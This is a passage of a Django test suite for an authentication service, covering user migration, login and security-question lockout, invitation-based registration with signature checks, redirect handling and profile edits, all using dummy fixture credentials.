username="newusername").count(), 1 ) self.assertEqual( get_user_model().objects.get( username="newusername").usersecurityquestion_set.all().count(), 2 ) self.assertEqual( TemporaryMigrationUserStore.objects.filter( username="coolmigrateduser").count(), 0 ) session_user = auth.get_user(self.client) self.assertEqual( session_user, get_user_model().objects.get(username="newusername") ) self.assertEqual( get_user_model().objects.get(username="newusername").migration_data, { "client_id": "migration_client_id", "user_id": 3, "username": "coolmigrateduser" } ) @override_settings(ACCESS_CONTROL_API=MagicMock()) def test_migration_redirect_persist(self): temp_user = TemporaryMigrationUserStore.objects.create( username="newmigratedsupercooluser", client_id="migration_client_id", user_id=2 ) temp_user.set_password("Qwer!234") data = { "login_view-current_step": "auth", "auth-username": temp_user.username, "auth-password": "Qwer!234" } response = self.client.post( f"{reverse('login')}?next=/openid/authorize/%3Fresponse_type%3Dcode%26scope%3Dopenid%26client_id%3Dmigration_client_id%26redirect_uri%3Dhttp%3A%2F%2Fexample.com%2F%26state%3D3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO", data=data, follow=True ) data = { "login_view-current_step": "auth", "auth-username": temp_user.username, "auth-password": "Qwer!234" } data = { "migrate_user_wizard-current_step": "userdata", "userdata-username": "newusername", "userdata-age": 20, "userdata-password1": "asdasd", "userdata-password2": "asdasd" } response = self.client.post( response.redirect_chain[-1][0], data=data, follow=True ) data = { "migrate_user_wizard-current_step": "securityquestions", "securityquestions-TOTAL_FORMS": 2, "securityquestions-INITIAL_FORMS": 0, "securityquestions-MIN_NUM_FORMS": 0, "securityquestions-MAX_NUM_FORMS": 1000, "securityquestions-0-question": self.question_one.id, "securityquestions-0-answer": "Answer1", "securityquestions-1-question": self.question_two.id, "securityquestions-1-answer": "Answer2" } self.assertEqual(get_user_model().objects.filter( username=self.temp_user.username).count(), 0 ) response = self.client.post( response._request.path, data=data, follow=True ) self.assertRedirects( response, f"/openid/authorize/?response_type=code&scope=openid&client_id=migration_client_id&redirect_uri=http://example.com/&state=3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO" ) @override_settings(ACCESS_CONTROL_API=MagicMock()) @patch("django.core.signing.loads") def test_expired_token(self, expire_mock): expire_mock.side_effect = signing.SignatureExpired("Expired") data = { "login_view-current_step": "auth", "auth-username": self.temp_user.username, "auth-password": "Qwer!234" } response = self.do_login(data) self.assertRedirects( response, "/en/login/?next=/openid/authorize/" \ "%3Fresponse_type%3Dcode%26scope%3Dopenid" \ "%26client_id%3Dmigration_client_id%26" \ "redirect_uri%3Dhttp%253A%252F%252Fexample.com%252F%26" \ "state%3D3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO" ) class TestLockout(TestCase): @classmethod def setUpClass(cls): super(TestLockout, cls).setUpClass() cls.user = get_user_model().objects.create_user( username="user_{}".format(random.randint(0, 10000)), password="password", birth_date=datetime.date(2001, 1, 1) ) cls.user.save() def setUp(self): super(TestLockout, self).setUp() def test_lockout(self): login_url = reverse("login") login_data = { "login_view-current_step": "auth", "auth-username": self.user.username, "auth-password": "wrongpassword" } allowed_attempts = settings.DEFENDER_LOGIN_FAILURE_LIMIT attempt = 0 while attempt < allowed_attempts: attempt += 1 self.client.get(login_url) response = self.client.post(login_url, login_data) self.assertEqual(response.status_code, 200) self.assertIn("authentication_service/login.html", response.template_name) # The next (failed) attempt needs to prevent further login attempts self.client.get(login_url) response = self.client.post(login_url, login_data, follow=True) self.assertEqual([template.name for template in response.templates], ["authentication_service/lockout.html", "base.html"]) # Even using the proper password, the user will still be blocked. login_data["auth-password"] = "password" self.client.get(login_url) response = self.client.post(login_url, login_data, follow=True) self.assertEqual([template.name for template in response.templates], ["authentication_service/lockout.html", "base.html"]) # Manually unblock the username. This allows the user to try again. unblock_username(self.user.username) self.client.get(login_url) response = self.client.post(login_url, login_data) self.assertEqual(response.status_code, 302) class TestSecurityQuestionLockout(TestCase): @classmethod def setUpTestData(cls): super(TestSecurityQuestionLockout, cls).setUpTestData() cls.user = get_user_model().objects.create_user( username="user_who_forgot_creds", password="Qwer!234", birth_date=datetime.date(2001, 1, 1) ) cls.user.save() cls.question_one = SecurityQuestion.objects.create( question_text="Some text for the one question" ) cls.question_two = SecurityQuestion.objects.create( question_text="Some text for the other question" ) cls.user_answer_one = UserSecurityQuestion.objects.create( question=cls.question_one, user=cls.user, answer="right" ) cls.user_answer_two = UserSecurityQuestion.objects.create( question=cls.question_two, user=cls.user, answer="right" ) def test_lockout_on_reset(self): # Ensure user is not blocked unblock_username(self.user.username) session = self.client.session session["lookup_user_id"] = str(self.user.id) session.save() reset_url = reverse("reset_password_security_questions") reset_data = { "login_view-current_step": "auth", "auth-username": self.user.username, "question_%s" % self.user_answer_one.id: "test", "question_%s" % self.user_answer_two.id: "answer" } allowed_attempts = settings.DEFENDER_LOGIN_FAILURE_LIMIT attempt = 0 while attempt < allowed_attempts: attempt += 1 self.client.get(reset_url) response = self.client.post(reset_url, reset_data) self.assertEqual(response.status_code, 200) self.assertIn( "authentication_service/reset_password/security_questions.html", response.template_name ) self.client.get(reset_url) response = self.client.post(reset_url, reset_data, follow=True) self.assertEqual([template.name for template in response.templates], ["authentication_service/lockout.html", "base.html"]) # Even attempting via the password reset page won't work response = self.client.get(reverse("reset_password")) self.assertEqual(response.status_code, 200) response = self.client.post( reverse("reset_password"), {"email": self.user.username}, follow=True) self.assertEqual([template.name for template in response.templates], ["authentication_service/lockout.html", "base.html"]) unblock_username(self.user.username) self.client.get(reset_url) response = self.client.post(reset_url, reset_data) self.assertEqual(response.status_code, 200) self.assertIn( "authentication_service/reset_password/security_questions.html", response.template_name ) class TestRegistrationView(TestCase): @classmethod def setUpTestData(cls): super(TestRegistrationView, cls).setUpTestData() # Security questions cls.question_one = SecurityQuestion.objects.create( question_text="Some text for the one question" ) cls.question_two = SecurityQuestion.objects.create( question_text="Some text for the other question" ) cls.question_three = SecurityQuestion.objects.create( question_text="Some text Three" ) cls.question_four = SecurityQuestion.objects.create( question_text="Some text Four" ) cls.question_five = SecurityQuestion.objects.create( question_text="Some text Five" ) cls.client_obj = Client.objects.create( client_id="redirect-tester", name= "RedirectClient", client_secret= "super_client_secret_4", response_type= "code", jwt_alg= "HS256", redirect_uris= ["/test-redirect-url/"], ) cls.admin_user = get_user_model().objects.create_user( username="user_{}".format(random.randint(0, 10000)), password="password", birth_date=datetime.date(2001, 1, 1) ) cls.organisation = Organisation.objects.create( name="inviteorg", description="invite_text" ) test_invitation_id = uuid.uuid4() cls.invitation = Invitation( id=test_invitation_id.hex, invitor_id=str(cls.admin_user.id), first_name="super_cool_invitation_fname", last_name="same_as_above_but_surname", email="totallynotinvitation@email.com", organisation_id=cls.organisation.id, expires_at=timezone.now() + datetime.timedelta(minutes=10), created_at=timezone.now(), updated_at=timezone.now() ) def test_logged_in_user(self): url = reverse('registration') res = self.client.get(url) self.assertEqual(res.status_code, 302) self.assertIn(url, res.url) # force login a user, now he should not see registration page self.client.force_login(self.admin_user) res = self.client.get(url) self.assertRedirects(res, reverse('edit_profile')) def test_invite_tampered_signature(self): invite_id = "8d81e01c-8a75-11e8-845e-0242ac120009" params = { "security": "high", "invitation_id": invite_id } tampered_signature = signing.dumps(params, salt="invitation") + "m" with self.assertTemplateUsed("authentication_service/message.html"): response = self.client.get( reverse("registration" ) + f"?invitation={tampered_signature}", follow=True ) params = { "security": "high", } incorrect_signature = signing.dumps(params, salt="invitation") with self.assertTemplateUsed("authentication_service/message.html"): response = self.client.get( reverse("registration" ) + f"?invitation={incorrect_signature}", follow=True ) @override_settings(ACCESS_CONTROL_API=MagicMock()) @patch("authentication_service.api_helpers.get_invitation_data") def test_invite_missing(self, mocked_get_invitation_data): mocked_get_invitation_data.return_value = {"error": True} invite_id = "8d81e01c-8a75-11e8-845e-0242ac120009" params = { "security": "high", "invitation_id": invite_id } signature = signing.dumps(params, salt="invitation") with self.assertTemplateUsed("authentication_service/message.html"): response = self.client.get( reverse("registration" ) + f"?invitation={signature}", follow=True ) @override_settings(ACCESS_CONTROL_API=MagicMock()) def test_expire(self): test_invitation_id = uuid.uuid4() invitation = Invitation( id=test_invitation_id.hex, invitor_id=str(self.admin_user.id), first_name="super_cool_invitation_fname", last_name="same_as_above_but_surname", email="totallynotinvitation@email.com", organisation_id=10, expires_at=timezone.now() - datetime.timedelta(minutes=10), created_at=timezone.now(), updated_at=timezone.now() ) with mock.patch("authentication_service.api_helpers.settings") as mocked_settings: mocked_settings.ACCESS_CONTROL_API.invitation_read.return_value = invitation invite_id = "8d81e01c-8a75-11e8-845e-0242ac120009" params = { "security": "high", "invitation_id": invite_id } signature = signing.dumps(params, salt="invitation") with self.assertTemplateUsed("authentication_service/message.html"): response = self.client.get( reverse("registration" ) + f"?invitation={signature}", follow=True ) self.assertContains(response, "The invitation has expired.") @override_settings(ACCESS_CONTROL_API=MagicMock()) def test_form_initial(self): with mock.patch("authentication_service.api_helpers.settings") as mocked_settings: mocked_settings.ACCESS_CONTROL_API.invitation_read.return_value = self.invitation invite_id = "8d81e01c-8a75-11e8-845e-0242ac120009" params = { "security": "high", "invitation_id": invite_id } signature = signing.dumps(params, salt="invitation") response = self.client.get( reverse("registration" ) + f"?invitation={signature}", follow=True ) self.assertIn( "/registration/userdata/", response.redirect_chain[-1][0], ) self.assertEqual( response.context["form"].initial, { "first_name": "super_cool_invitation_fname", "last_name": "same_as_above_but_surname", "email": "totallynotinvitation@email.com" } ) @override_settings(ACCESS_CONTROL_API=MagicMock()) @patch("authentication_service.api_helpers.invitation_redeem") def test_form_redeem_failure(self, mocked_redeem): with mock.patch("authentication_service.api_helpers.settings") as mocked_settings: mocked_settings.ACCESS_CONTROL_API.invitation_read.return_value = self.invitation mocked_redeem.return_value = { "error": True } invite_id = "8d81e01c-8a75-11e8-845e-0242ac120009" params = { "security": "high", "invitation_id": invite_id } signature = signing.dumps(params, salt="invitation") response = self.client.get( reverse("registration" ) + f"?invitation={signature}", follow=True ) self.assertIn( "/registration/userdata/", response.redirect_chain[-1][0], ) with self.assertTemplateUsed("authentication_service/message.html"): response = self.client.post( reverse("registration"), { "registration_wizard-current_step": "userdata", "userdata-username": "Username", "userdata-password1": "@32786AGYJUFEtyfusegh,.,", "userdata-password2": "@32786AGYJUFEtyfusegh,.,", "userdata-gender": "female", "userdata-age": "18", "userdata-birth_date": "2000-01-01", "userdata-terms": True, "userdata-email": "email@email.com", }, follow=True ) self.assertContains(response, "Oops. You have") @override_settings(ACCESS_CONTROL_API=MagicMock()) @patch("authentication_service.api_helpers.invitation_redeem") def test_org_missing_failure(self, mocked_redeem): test_invitation_id = uuid.uuid4() invitation = Invitation( id=test_invitation_id.hex, invitor_id=str(self.admin_user.id), first_name="super_cool_invitation_fname", last_name="same_as_above_but_surname", email="totallynotinvitation@email.com", organisation_id=845459, expires_at=timezone.now() + datetime.timedelta(minutes=10), created_at=timezone.now(), updated_at=timezone.now() ) with mock.patch("authentication_service.api_helpers.settings") as mocked_settings: mocked_settings.ACCESS_CONTROL_API.invitation_read.return_value = invitation mocked_redeem.return_value = { "error": True } invite_id = "8d81e01c-8a75-11e8-845e-0242ac120009" params = { "security": "high", "invitation_id": invite_id } signature = signing.dumps(params, salt="invitation") response = self.client.get( reverse("registration" ) + f"?invitation={signature}", ) self.assertEqual(response.status_code, 404) @override_settings(ACCESS_CONTROL_API=MagicMock()) @patch("authentication_service.api_helpers.invitation_redeem") def test_form_redeem_success(self, mocked_redeem): # NOTE self.invitation.id != invite_id, due to invitation values being # mocked as well. with mock.patch("authentication_service.api_helpers.settings") as mocked_settings: mocked_settings.ACCESS_CONTROL_API.invitation_read.return_value = self.invitation mocked_redeem.return_value = { "error": False } invite_id = "8d81e01c-8a75-11e8-845e-0242ac120009" params = { "security": "high", "invitation_id": invite_id } signature = signing.dumps(params, salt="invitation") response = self.client.get( reverse("registration" ) + f"?invitation={signature}", follow=True ) self.assertIn( "/registration/userdata/", response.redirect_chain[-1][0], ) with self.assertTemplateUsed("authentication_service/message.html"): response = self.client.post( reverse("registration"), { "registration_wizard-current_step": "userdata", "userdata-username": "AmazingInviteUser", "userdata-password1": "@A2315,./,asDV", "userdata-password2": "@A2315,./,asDV", "userdata-gender": "female", "userdata-age": "18", "userdata-birth_date": "2000-01-01", "userdata-terms": True, "userdata-email": "email@email.com", }, follow=True ) user = get_user_model().objects.get(username="AmazingInviteUser") mocked_settings.ACCESS_CONTROL_API.invitation_read.assert_called_with(invite_id) mocked_redeem.assert_called_with(self.invitation.id, user.id) self.assertContains(response, "Congratulations, you have successfully") self.assertEqual(user.organisation, self.organisation) @override_settings(ACCESS_CONTROL_API=MagicMock()) @patch("authentication_service.api_helpers.invitation_redeem") def test_form_redeem_success_with_invitation_redirect(self, mocked_redeem): # NOTE self.invitation.id != invite_id, due to invitation values being # mocked as well. with mock.patch("authentication_service.api_helpers.settings") as mocked_settings: mocked_settings.ACCESS_CONTROL_API.invitation_read.return_value = self.invitation mocked_redeem.return_value = { "error": False } invite_id = "8d81e01c-8a75-11e8-845e-0242ac120009" redirect_url = "http://example.com/redirect?foo=bar" params = { "security": "high", "invitation_id": invite_id, "redirect_url": redirect_url } signature = signing.dumps(params, salt="invitation") response = self.client.get( reverse("registration" ) + f"?invitation={signature}", follow=True ) self.assertIn( "/registration/userdata/", response.redirect_chain[-1][0], ) with self.assertTemplateUsed("authentication_service/message.html"): response = self.client.post( reverse("registration"), { "registration_wizard-current_step": "userdata", "userdata-username": "AmazingInviteUser", "userdata-password1": "@A2315,./,asDV", "userdata-password2": "@A2315,./,asDV", "userdata-gender": "female", "userdata-age": "18", "userdata-birth_date": "2000-01-01", "userdata-terms": True, "userdata-email": "email@email.com", }, follow=True ) user = get_user_model().objects.get(username="AmazingInviteUser") mocked_settings.ACCESS_CONTROL_API.invitation_read.assert_called_with(invite_id) mocked_redeem.assert_called_with(self.invitation.id, user.id) self.assertContains(response, "Congratulations, you have successfully") self.assertContains(response, redirect_url) self.assertEqual(user.organisation, self.organisation) def test_view_success_template(self): # Test most basic iteration with self.assertTemplateUsed("authentication_service/message.html"): response = self.client.post( reverse("registration"), { "registration_wizard-current_step": "userdata", "userdata-username": "Username", "userdata-password1": "@A2315,./,asDV", "userdata-password2": "@A2315,./,asDV", "userdata-gender": "female", "userdata-age": "18", "userdata-birth_date": "2000-01-01", "userdata-terms": True, "userdata-email": "email@email.com", }, follow=True ) def test_view_success_template_age(self): # Test most basic registration with age instead of birth_date with self.assertTemplateUsed("authentication_service/message.html"): response = self.client.post( reverse("registration"), { "registration_wizard-current_step": "userdata", "userdata-username": "Username0", "userdata-password1": "password", "userdata-password2": "password", "userdata-gender": "female", "userdata-age": "16", "userdata-terms": True, "userdata-email": "email1@email.com", }, follow=True ) def test_view_success_template_age_and_bday(self): # Test most basic registration with age and birth_date. Birth_date takes precedence. with self.assertTemplateUsed("authentication_service/message.html"): response = self.client.post( reverse("registration"), { "registration_wizard-current_step": "userdata", "userdata-username": "Username0a", "userdata-password1": "password", "userdata-password2": "password", "userdata-birth_date": "1999-01-01", "userdata-gender": "female", "userdata-age": "16", "userdata-terms": True, "userdata-email": "email2@email.com", }, follow=True ) @patch("authentication_service.signals.api_helpers.get_site_for_client") def test_view_success_redirects_no_2fa(self, api_mock): api_mock.return_value = 2 response = self.client.get( reverse( "registration" ) + "?client_id=redirect-tester&redirect_uri=/test-redirect-url/", follow=True ) self.assertEquals( self.client.session[ constants.EXTRA_SESSION_KEY][ constants.SessionKeys.CLIENT_NAME], self.client_obj.name ) self.assertEquals( self.client.session[ constants.EXTRA_SESSION_KEY][ constants.SessionKeys.CLIENT_URI], "/test-redirect-url/" ) self.assertEquals( response.context["ge_global_redirect_uri"], "/test-redirect-url/" ) self.assertEquals( response.context["ge_global_client_name"], self.client_obj.name ) # Test redirect url, no 2fa response = self.client.post( reverse("registration"), { "registration_wizard-current_step": "userdata", "userdata-username": "Username1", "userdata-password1": "password", "userdata-password2": "password", "userdata-birth_date": "1999-01-01", "userdata-gender": "female", "userdata-age": "18", "userdata-terms": True, "userdata-email": "email2@email.com", }, follow=True ) self.assertEquals(response.redirect_chain[-1][0], "/test-redirect-url/") @patch("authentication_service.signals.api_helpers.get_site_for_client") def test_view_success_redirects_2fa(self, api_mock): api_mock.return_value = 2 response = self.client.get( reverse( "registration" ) + "?client_id=redirect-tester&redirect_uri=/test-redirect-url/", follow=True ) self.assertEquals( self.client.session[ constants.EXTRA_SESSION_KEY][ constants.SessionKeys.CLIENT_NAME], self.client_obj.name ) self.assertEquals( self.client.session[ constants.EXTRA_SESSION_KEY][ constants.SessionKeys.CLIENT_URI], "/test-redirect-url/" ) self.assertEquals( response.context["ge_global_redirect_uri"], "/test-redirect-url/" ) self.assertEquals( response.context["ge_global_client_name"], self.client_obj.name ) ## GE-1117: Changed # Test redirect url, 2fa response = self.client.post( reverse("registration") + "?show2fa=true", { "registration_wizard-current_step": "userdata", "userdata-username": "Username2", "userdata-gender": "female", "userdata-age": "18", "userdata-password1": "awesom#saFe3", "userdata-password2": "awesom#saFe3", "userdata-birth_date": "2000-01-01", "userdata-terms": True, "userdata-email": "email3@email.com", "userdata-msisdn": "0856545698", }, follow=True ) ## GE-1117: Changed # self.assertin(response.url, reverse("two_factor_auth:setup")) self.assertEquals(response.redirect_chain[-1][0], "/test-redirect-url/") @patch("authentication_service.signals.api_helpers.get_site_for_client") def test_view_success_redirects_security_high(self, api_mock): api_mock.return_value = 2 response = self.client.get( reverse( "registration" ) + "?client_id=redirect-tester&redirect_uri=/test-redirect-url/", follow=True ) self.assertEquals( self.client.session[ constants.EXTRA_SESSION_KEY][ constants.SessionKeys.CLIENT_NAME], self.client_obj.name ) self.assertEquals( self.client.session[ constants.EXTRA_SESSION_KEY][ constants.SessionKeys.CLIENT_URI], "/test-redirect-url/" ) self.assertEquals( response.context["ge_global_redirect_uri"], "/test-redirect-url/" ) self.assertEquals( response.context["ge_global_client_name"], self.client_obj.name ) response = self.client.get( reverse( "registration" ) + "?client_id=redirect-tester&redirect_uri=/test-redirect-url/" ) # Test redirect url, high security response = self.client.post( reverse("registration") + "?security=high", { "registration_wizard-current_step": "userdata", "userdata-username": "Username3", "userdata-gender": "female", "userdata-age": "18", "userdata-password1": "awesom#saFe3", "userdata-password2": "awesom#saFe3", "userdata-birth_date": "2000-01-01", "userdata-terms": True, "userdata-email": "email3@email.com", "userdata-msisdn": "0856545698", }, follow=True ) ## GE-1117: Changed # self.assertin(response.url, reverse("two_factor_auth:setup")) self.assertEquals(response.redirect_chain[-1][0], "/test-redirect-url/") @patch("authentication_service.signals.api_helpers.get_site_for_client") def test_success_redirect(self, api_mock): api_mock.return_value = 2 # Test without redirect URI set. response = self.client.get(reverse("redirect_view")) self.assertIn(response.url, reverse("login")) # Test with redirect URI set. Client.objects.create( client_id="redirect-tester-3", name="RedirectClient", client_secret="super_client_secret_4", response_type="code", jwt_alg="HS256", redirect_uris=["/test-redirect-url-something/"], ) response = self.client.get( reverse("registration") + "?client_id=redirect-tester-3&redirect_uri=/test-redirect-url-something/", follow=True ) response = self.client.post( response.redirect_chain[-1][0], { "registration_wizard-current_step": "userdata", "userdata-username": "RedirectUser", "userdata-gender": "female", "userdata-age": "18", "userdata-password1": "awesom#saFe3", "userdata-password2": "awesom#saFe3", "userdata-birth_date": "2000-01-01", "userdata-terms": True, "userdata-email": "email3@email.com", "userdata-msisdn": "0856545698", }, follow=True ) self.assertEquals(response.redirect_chain[-1][0], "/test-redirect-url-something/") def test_user_save(self): ## GE-1117: Changed with self.assertTemplateUsed("authentication_service/message.html"): response = self.client.post( reverse("registration") + "?security=high", { "registration_wizard-current_step": "userdata", "userdata-username": "Unique@User@Name", "userdata-password1": "awesom#saFe3", "userdata-password2": "awesom#saFe3", "userdata-birth_date": "2000-01-01", "userdata-terms": True, "userdata-email": "emailunique@email.com", "userdata-msisdn": "0856545698", "userdata-gender": "female", "userdata-age": "16", }, follow=True ) self.assertRedirects( response, reverse("registration_step", kwargs={"step": "done"}) ) # self.assertIn(response.url, reverse("two_factor_auth:setup")) user = get_user_model().objects.get(username="Unique@User@Name") self.assertEquals(user.email, "emailunique@email.com") self.assertEquals(user.msisdn, "0856545698") def test_security_questions_save(self): ## GE-1117: Changed response = self.client.post( reverse("registration"), { "registration_wizard-current_step": "userdata", "userdata-username": "Unique@User@Name", "userdata-gender": "female", "userdata-age": "16", "userdata-password1": "awesom#saFe3", "userdata-password2": "awesom#saFe3", "userdata-birth_date": "2000-01-01", "userdata-terms": True, "userdata-msisdn": "0856545698", }, follow=True ) with self.assertTemplateUsed("authentication_service/message.html"): response = self.client.post( response.redirect_chain[-1][0], { "registration_wizard-current_step": "securityquestions", "securityquestions-TOTAL_FORMS": "2", "securityquestions-INITIAL_FORMS": "0", "securityquestions-MIN_NUM_FORMS": "0", "securityquestions-MAX_NUM_FORMS": "1000", "securityquestions-0-question": self.question_one.id, "securityquestions-0-answer": "Answer1", "securityquestions-1-question": self.question_two.id, "securityquestions-1-answer": "Answer2" }, follow=True ) # self.assertIn(response.url, reverse("two_factor_auth:setup")) user = get_user_model().objects.get(username="Unique@User@Name") self.assertEquals(user.msisdn, "0856545698") question_one = UserSecurityQuestion.objects.get( question=self.question_one, language_code="en" ) self.assertEquals(question_one.user, user) question_two = UserSecurityQuestion.objects.get( question=self.question_two, language_code="en" ) self.assertEquals(question_two.user, user) def test_redirect_view(self): # Test without redirect URI set. response = self.client.get(reverse("redirect_view")) self.assertIn(response.url, reverse("login")) # Test with redirect URI set. Client.objects.create( client_id="redirect-tester-2", name="RedirectClient", client_secret="super_client_secret_4", response_type="code", jwt_alg="HS256", redirect_uris=["/test-redirect-url-something/"], ) response = self.client.get( reverse( "registration" ) + "?client_id=redirect-tester-2&redirect_uri=/test-redirect-url-something/", ) response = self.client.get( reverse( "redirect_view" ) ) self.assertEquals(response.url, "/test-redirect-url-something/") def test_incorrect_required_field_logger(self): test_output = [ 'WARNING:authentication_service.forms:Received required field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received required field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received required field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received required field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received required field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received required field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received required field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received required field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received required field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received required field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received required field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received required field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received required field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received required field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received required field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received required field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received required field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received required field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received required field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received required field that is not on form: someawesomefield' ] test_output.sort() with self.assertLogs(level="WARNING") as cm: self.client.get( reverse("registration") + "?requires=names" # TODO: S3-reliant #"&requires=picture" "&requires=someawesomefield" "&requires=notontheform", follow=True ) output = cm.output output.sort() self.assertListEqual(output, test_output) def test_incorrect_hidden_field_logger(self): test_output = [ 'WARNING:authentication_service.forms:Received hidden field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received hidden field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received hidden field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received hidden field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received hidden field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received hidden field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received hidden field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received hidden field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received hidden field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received hidden field that is not on form: notontheform', 'WARNING:authentication_service.forms:Received hidden field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received hidden field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received hidden field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received hidden field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received hidden field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received hidden field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received hidden field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received hidden field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received hidden field that is not on form: someawesomefield', 'WARNING:authentication_service.forms:Received hidden field that is not on form: someawesomefield' ] test_output.sort() with self.assertLogs(level="WARNING") as cm: self.client.get( reverse("registration") + "?hide=end-user" # TODO: S3-reliant #"&hide=avatar" "&hide=someawesomefield" "&hide=notontheform", follow=True ) output = cm.output output.sort() self.assertListEqual(output, test_output) def test_view_terms_html(self): Client.objects.create( client_id="registraion_client_id", name= "RegistrationMigrationCLient", client_secret= "super_client_secret_1", response_type= "code", jwt_alg= "HS256", redirect_uris= ["http://exmpl.co/"], terms_url="http://registration-terms.com" ) response = self.client.get( reverse("registration"), follow=True ) self.assertContains(response, '<a href="https://www.girleffect.org/'\ 'terms-and-conditions/">Click here to view the terms and conditions</a>' ) response = self.client.get( reverse( "registration" ) + "?client_id=registraion_client_id&redirect_uri=http://exmpl.co/", follow=True, ) self.assertContains(response, '<a href="http://registration-terms.com">'\ 'Click here to view the terms and conditions</a>' ) def test_question_preselect(self): # Test with redirect URI set. response = self.client.get( reverse( "registration" ) + f"?question_ids={self.question_four.id}&question_ids={self.question_three.id}", follow=True ) response = self.client.post( response.redirect_chain[-1][0], { "registration_wizard-current_step": "userdata", "userdata-username": "stupidnowrequiredtestuseroriginal", "userdata-gender": "female", "userdata-age": "16", "userdata-password1": "awesom#saFe3", "userdata-password2": "awesom#saFe3", "userdata-birth_date": "2000-01-01", "userdata-terms": True, "userdata-msisdn": "0856545698", }, follow=True ) self.assertContains( response, f'<option value="{self.question_four.id}" selected>{self.question_four.question_text}</option>' ) self.assertContains( response, f'<option value="{self.question_three.id}" selected>{self.question_three.question_text}</option>' ) def test_question_preselect_incorrect_id(self): # Test with redirect URI set. response = self.client.get( reverse( "registration" ) + f"?question_ids=9999999&question_ids={self.question_three.id}", follow=True ) response = self.client.post( response.redirect_chain[-1][0], { "registration_wizard-current_step": "userdata", "userdata-username": "stupidnowrequiredtestuser", "userdata-gender": "female", "userdata-age": "16", "userdata-password1": "awesom#saFe3", "userdata-password2": "awesom#saFe3", "userdata-birth_date": "2000-01-01", "userdata-terms": True, "userdata-msisdn": "0856545698", }, follow=True ) self.assertContains( response, f'<option value="{self.question_three.id}" selected>{self.question_three.question_text}</option>', count=1 ) class EditProfileViewTestCase(TestCase): @classmethod def setUpTestData(cls): cls.user = get_user_model().objects.create_superuser( username="testuser", email="wrong@email.com", password="Qwer!234", birth_date=datetime.date(2001, 12, 12) ) cls.user.save() cls.twofa_user = get_user_model().objects.create_superuser( username="2fa_user", password="1234", email="2fa_user@test.com", birth_date=datetime.date(2001, 1, 1) ) cls.twofa_user.save() cls.totp_device = TOTPDevice.objects.create( user=cls.twofa_user, name="default", confirmed=True, key=random_hex().decode() ) # Security questions cls.text_one = SecurityQuestion.objects.create( question_text="Some text for the one question" ) cls.text_two = SecurityQuestion.objects.create( question_text="Some text for the other question" ) cls.question_one = UserSecurityQuestion.objects.create( user=cls.user, question=cls.text_one, language_code="en", answer="Answer1" ) cls.question_two = UserSecurityQuestion.objects.create( user=cls.user, question=cls.text_two, language_code="en", answer="Answer2" ) def test_profile_edit(self): # Login user self.client.login(username="testuser", password="Qwer!234") # Get form Client.objects.create( client_id="postprofileedit", name= "RegistrationMigrationCLient", client_secret= "super_client_secret_1", response_type= "code", jwt_alg= "HS256", redirect_uris= ["/admin/"], terms_url="http://registration-terms.com" ) response = self.client.get( reverse( "edit_profile" ) + "?client_id=postprofileedit&redirect_uri=/admin/", ) # Check 2FA isn't enabled self.assertNotContains(response, "2fa") # Post form response = self.client.post( reverse( "edit_profile" ), { "email": "test@user.com", "birth_date": "2001-01-01", "gender": "female" }, follow=True ) updated = get_user_model().objects.get(username="testuser") self.assertEquals(updated.email, "test@user.com") self.assertEquals(datetime.date(2001, 1, 1), updated.birth_date) self.assertRedirects(response, reverse("admin:index")) response = self.client.get(reverse("edit_profile")) with mock.patch("authentication_service.forms.date") as mocked_date: mocked_date.today.return_value = datetime.date(2018, 1, 2) mocked_date.side_effect = lambda *args, **kw: datetime.date(*args, **kw) response = self.client.post( reverse("edit_profile"), { "email": "test@user.com", "age": "14", "gender": "female" }, follow=True ) updated = get_user_model().objects.get(username="testuser") self.assertEquals(updated.email, "test@user.com") self.assertEquals(datetime.date(2004, 1, 2), updated.birth_date) def test_2fa_link_enabled(self): # Login user self.client.login(username="2fa_user", password="1234") # Get form response = self.client.get( reverse("edit_profile") ) # Check 2FA is enabled and present on edit page self.assertContains(response, "2fa") def test_security_questions_update(self): self.client.login(username=self.user.username, password="Qwer!234") response = self.client.post( reverse("update_security_questions"), { "form-TOTAL_FORMS": "2", "form-INITIAL_FORMS": "2", "form-MIN_NUM_FORMS": "0", "form-MAX_NUM_FORMS": "1000", "form-0-question": self.text_one.id, "form-0-answer": "AnswerFirst", "form-0-id": self.question_one.id, "form-1-question": self.text_two.id, "form-1-answer": "AnswerSecond", "form-1-id": self.question_two.id, }, ) question_one = UserSecurityQuestion.objects.get( id=self.question_one.id ) question_two = UserSecurityQuestion.objects.get( id=self.question_two.id 